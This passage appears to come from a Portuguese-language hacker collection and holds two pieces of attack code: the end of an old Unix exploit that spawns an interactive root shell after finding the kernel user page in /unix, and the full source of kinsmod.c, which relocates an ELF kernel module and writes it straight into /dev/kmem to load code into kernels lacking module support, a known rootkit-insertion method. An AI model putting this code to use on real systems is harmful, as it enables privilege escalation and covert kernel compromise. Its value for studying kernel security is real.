        execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
}

# include <filehdr.h>
# include <syms.h>
# include <ldfcn.h>

# define LNULL ( (LDFILE *)0 )

long    address ()
{
        LDFILE  *object;
        SYMENT  symbol;
        long    idx;
        object = ldopen( "/unix", LNULL );
        if( object == LNULL ) {
                fprintf( stderr, "Could not open /unix.\n" );
                exit( 50 );
        }
        for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
                if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
                        fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
                        ldclose( object );
                        return( symbol.n_value );
                }
        }
        fprintf( stderr, "Could not read symbols in /unix.\n");
        exit( 60 );
}

-------------------------------------------------------------------------------

Module insertion without native support(insercao de modulo sem suporte nativo)

Nome: kinsmod.c
Autor: Silvio Cesare
Descricao: Este eh um otimo programa que nos ensina a inserir LKMs em
sistemas sem native module supporte(suporte nativo a modulos)
Link: http://www.antisearch.com

/**********needed include file*/
#ifndef KMEM_H
#define KMEM_H

#include <linux/module.h>
#include <unistd.h>
#include <fcntl.h>

/*
	these functions are anologous to standard file routines.
*/

#define kopen(mode) open("/dev/kmem", (mode))
#define kclose(kd) close((kd))

ssize_t kread(int kd, int pos, void *buf, size_t size);
ssize_t kwrite(int kd, int pos, void *buf, size_t size);

/*
	ksyms initialization and cleanup
*/

int ksyms_init(const char *map);
void ksyms_cleanup(void);

/*
	print the ksym table
*/

void ksyms_print(void);

/*
	return the ksym of name 'name' or NULL if no symbol exists
*/

struct kernel_sym *ksyms_find(const char *name);

#endif


/**********KMEM functions*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/module.h>
#include <linux/unistd.h>
#include "kmem.h"

struct ksymlist {
	struct ksymlist*	next;
	struct kernel_sym	ksym;
};

struct ksymlisthead {
	struct ksymlist*	next;
};

/*
	the hash size must be an integral power of two
*/

#define KSYM_HASH_SIZE	512

struct ksymlisthead ksymhash[KSYM_HASH_SIZE];

/*
	these functions are anologous to standard file routines.
*/

ssize_t kread(int kd, int pos, void *buf, size_t size)
{
	int retval;

	retval = lseek(kd, pos, SEEK_SET);
	if (retval != pos) return retval;

	return read(kd, buf, size);
}

ssize_t kwrite(int kd, int pos, void *buf, size_t size)
{
	int retval;

	retval = lseek(kd, pos, SEEK_SET);
	if (retval != pos) return retval;

	return write(kd, buf, size);
}

void ksyms_print(void)
{
	int i;

	for (i = 0; i < KSYM_HASH_SIZE; i++) {
		struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
		struct ksymlist *current = ksymhash[i].next;

		while (current != head) {
			printf(
				"name: %s addr: %lx\n",
				current->ksym.name,
				current->ksym.value
			);
			current = current->next;
		}
	}
}

void ksyms_cleanup(void)
{
	int i;

	for (i = 0; i < KSYM_HASH_SIZE; i++) {
		struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
		struct ksymlist *current = head->next;

		while (current != head) {
			struct ksymlist *next = current->next;

			free(current);
			current = next;
		}
	}
}

int hash(const char *name)
{
	unsigned long h;
	const char *p;

	for (h = 0, p = name; *p; h += (unsigned char)*p, p++);

	return h & (KSYM_HASH_SIZE - 1);
}

int ksyminsert(struct kernel_sym *ksym)
{
	struct ksymlist *node;
	struct ksymlisthead *head;

	node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
	if (node == NULL) return -1;

	head = &ksymhash[hash(ksym->name)];

	memcpy(&node->ksym, ksym, sizeof(*ksym));

	node->next = (struct ksymlist *)head->next;
	head->next = node;

	return 0;
}

int ksyms_init(const char *map)
{
	char s[512];
	FILE *f;
	int i;

	for (i = 0; i < KSYM_HASH_SIZE; i++)
		ksymhash[i].next = (struct ksymlist *)&ksymhash[i];

	f = fopen(map, "r");
	if (f == NULL) return -1;

	while (fgets(s, sizeof(s), f) != NULL) {
		struct kernel_sym ksym;
		char *n, *p;

		ksym.value = strtoul(s, &n, 16);
		if (n == s || *n == 0) goto error;

		p = n;
		while (*p && isspace(*p)) ++p;
		if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;

		p += 2;
		n = p;
		while (*p && !isspace(*p)) ++p;
		if (*p) *p = 0;

		strncpy(ksym.name, n, 60);

		if (ksyminsert(&ksym) < 0) goto error;
	}

	fclose(f);
	return 0;

error:
	fclose(f);
	ksyms_cleanup();
	printf("--> %s\n", s);
	return -1;
}

struct kernel_sym *ksyms_find(const char *name)
{
	struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];
	struct ksymlist *current = head->next;

	while (current != head) {
		if (!strncmp(current->ksym.name, name, 60))
			return &current->ksym;

		current = current->next;
	}

	return NULL;
}



/**********MAIN PROGRAM : kinsmod.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <elf.h>
#include <getopt.h>
#include "kmem.h"

static char system_map[] = "System.kmap";
static int error = 0;
static int run = 0;
static int force = 0;

struct _module {
	Elf32_Ehdr	ehdr;
	Elf32_Shdr*	shdr;
	unsigned long	maddr;
	int		maxlen;
	int		len;
	int		strtabidx;
	char**		section;
};

Elf32_Sym *local_sym_find(
	Elf32_Sym *symtab, int n, char *strtab, const char *name
)
{
	int i;

	for (i = 0; i < n; i++) {
		if (!strcmp(&strtab[symtab[i].st_name], name))
			return &symtab[i];
	}

	return NULL;
}

Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
{
	char *strtab = module->section[module->strtabidx];
	int i;

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		Elf32_Shdr *shdr = &module->shdr[i];

		if (shdr->sh_type == SHT_SYMTAB) {
			Elf32_Sym *sym;

			sym = local_sym_find(
				(Elf32_Sym *)module->section[i],
				shdr->sh_size/sizeof(Elf32_Sym),
				strtab,
				name
			);
			if (sym != NULL) return sym;
		}
	}

	return NULL;
}

void check_module(struct _module *module, int fd)
{
	Elf32_Ehdr *ehdr = &module->ehdr;

	if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
		perror("read");
		exit(1);
	}

/* ELF checks */

	if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
		fprintf(stderr, "File not ELF\n");
		exit(1);
	}

	if (ehdr->e_type != ET_REL) {
		fprintf(stderr, "ELF type not ET_REL\n");
		exit(1);
	}

	if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
		fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
		exit(1);
	}

	if (ehdr->e_version != EV_CURRENT) {
		fprintf(stderr, "ELF version not current\n");
		exit(1);
	}
}

void load_section(char **p, int fd, Elf32_Shdr *shdr)
{
	if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

	*p = (char *)malloc(shdr->sh_size);
	if (*p == NULL) {
		perror("malloc");
		exit(1);
	}

	if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
		perror("read");
		exit(1);
	}
}

void load_module(struct _module *module, int fd)
{
	Elf32_Ehdr *ehdr;
	Elf32_Shdr *shdr;
	char **sectionp;
	int slen;
	int i;

	check_module(module, fd);

	ehdr = &module->ehdr;
	slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;

	module->shdr = (Elf32_Shdr *)malloc(slen);
	if (module->shdr == NULL) {
		perror("malloc");
		exit(1);
	}

	module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);
	if (module->section == NULL) {
		perror("malloc");
		exit(1);
	}

	if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

        if (read(fd, module->shdr, slen) != slen) {
                perror("read");
                exit(1);
        }

	for (
		i = 0, sectionp = module->section, shdr = module->shdr;
		i < ehdr->e_shnum;
		i++, sectionp++
	) {
		switch (shdr->sh_type) {
		case SHT_NULL:
		case SHT_NOTE:
		case SHT_NOBITS:
			break;

		case SHT_STRTAB:
			load_section(sectionp, fd, shdr);
			if (i != ehdr->e_shstrndx)
				module->strtabidx = i;
			break;

		case SHT_SYMTAB:
		case SHT_PROGBITS:
		case SHT_REL:
			load_section(sectionp, fd, shdr);
			break;

		default:
			fprintf(
				stderr,
				"No handler for section (type): %i\n",
				shdr->sh_type
			);
			exit(1);
		}

		++shdr;
	}
}

void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)
{
	Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
	Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
	Elf32_Addr addr;
	Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
	Elf32_Addr dot =  targshdr->sh_addr + rel->r_offset;
	Elf32_Addr *loc = (Elf32_Addr *)(
		module->section[shdr->sh_info] + rel->r_offset
	);
	char *name = &module->section[module->strtabidx][sym->st_name];

	if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
		struct kernel_sym *ksym;

		if (force) {
			char novname[60];
			int len;

			len = strlen(name);
			if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {
				strncpy(novname, name, len - 10);
				novname[len - 10] = 0;
				ksym = ksyms_find(novname);
			} else
				ksym = ksyms_find(name);
		} else
			ksym = ksyms_find(name);
		if (ksym != NULL) {
			addr = ksym->value;

#ifdef DEBUG
			printf(
				"Extern symbol is (%s:%lx)\n",
				ksym->name,
				(unsigned long)addr
			);
#endif
			goto next;
		}

		if (
			sym->st_shndx == 0 ||
			sym->st_shndx > module->ehdr.e_shnum
		) {
			fprintf(
				stderr,
				"ERROR: undefined symbol (%s)\n", name
			);
			++error;
			return;
		} 
	}

	addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;

#ifdef DEBUG
	printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);
#endif

next:
	if (targshdr->sh_type == SHT_SYMTAB) return;
	if (targshdr->sh_type != SHT_PROGBITS) {
		fprintf(
			stderr,
			"Rel not PROGBITS or SYMTAB (type: %i)\n",
			targshdr->sh_type
		);
		exit(1);
	}

	switch (ELF32_R_TYPE(rel->r_info)) {
	case R_386_NONE:
		break;

	case R_386_PLT32:
	case R_386_PC32:
		*loc -= dot;	/* *loc += addr - dot	*/

	case R_386_32:
		*loc += addr;
		break;

	default:
		fprintf(
			stderr, "No handler for Relocation (type): %i",
			ELF32_R_TYPE(rel->r_info)
		);
		exit(1);
	}
}

void relocate_module(struct _module *module)
{
	int i;

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type == SHT_REL) {
			int j;
			Elf32_Rel *relp = (Elf32_Rel *)module->section[i];

			for (
				j = 0;
				j < module->shdr[i].sh_size/sizeof(Elf32_Rel);
				j++
			) {
				relocate(
					module,
					relp,
					&module->shdr[i]
				);

				++relp;
			}
		}
	}
}

void print_symaddr(struct _module *module, const char *symbol)
{
	Elf32_Sym *sym;

	sym = localall_sym_find(module, symbol);
	if (sym == NULL) {
		fprintf(stderr, "No symbol (%s)\n", symbol);
		++error;
		return;
	}

	printf(
		"%s: 0x%lx\n",
		symbol,
		(unsigned long)module->shdr[sym->st_shndx].sh_addr
			+ sym->st_value
	);
}

void init_module(struct _module *module, unsigned long maddr)
{
	int i;
	unsigned long len = 0;

	module->maddr = maddr;

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

		module->shdr[i].sh_addr = len + maddr;
		len += module->shdr[i].sh_size;
	}

	module->len = len;

	if (module->maxlen > 0 && module->len > module->maxlen) {
		fprintf(
			stderr,
			"Module too large: (modsz: %i)\n",
			module->len
		);
		exit(1);
	}

	printf("Module length: %i\n", module->len);
	
	relocate_module(module);

	print_symaddr(module, "init_module");
	print_symaddr(module, "cleanup_module");
}

void do_module(struct _module *module, int fd)
{
	int kd;
	int i;

#ifdef DEBUG
	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

		if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) {
			perror("lseek");
			exit(1);
		}

		if (
			write(
				fd, module->section[i], module->shdr[i].sh_size
			) != module->shdr[i].sh_size
		) {
			perror("write");
			exit(1);
		}
	}
#else

	kd = open("/dev/kmem", O_RDWR);
	if (kd < 0) {
		perror("open");
		exit(1);
	}

	if (lseek(kd, module->maddr, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

	for (i = 0; i < module->ehdr.e_shnum; i++) {
		if (module->shdr[i].sh_type != SHT_PROGBITS) continue;

		if (
			write(
				kd, module->section[i], module->shdr[i].sh_size
			) != module->shdr[i].sh_size
		) {
			perror("write");
			exit(1);
		} 
	}

	close(kd);
#endif
}

int main(int argc, char *argv[])
{
	char *map = system_map;
	struct _module module;
	int fd;
	int ch;
	int retval = 0;

	while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
		switch (ch) {
		case 'm':
			map = optarg;
			break;

		case 't':
			++run;
			break;

		case 'f':
			++force;
			break;
		}
	}

/*
	so we can move options in and out without changing the codes idea
	of what argv and argc look like.
*/

	--optind;

	argv += optind;
	argc -= optind;

	if (argc != 3 && argc != 4) {
		fprintf(
			stderr,
			"usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"
		);
		exit(1);
	}

#ifdef DEBUG
	fd = open(argv[1], O_RDWR);
#else
	fd = open(argv[1], O_RDONLY);
#endif
	if (fd < 0) {
		perror("open");
		exit(1);
	}

	if (ksyms_init(map) < 0) {
		perror("ksyms_init");
		exit(1);
	}

	module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
	load_module(&module, fd);
	init_module(&module, strtoul(argv[2], NULL, 16));
	if (run == 0) {
		if (error == 0) {
			do_module(&module, fd);
		} else {
			fprintf(
				stderr,
				"FAILED: (%i) errors. Exiting...\n", error
			);
			++retval;
		}
	}
 
	ksyms_cleanup();

	exit(retval);
}
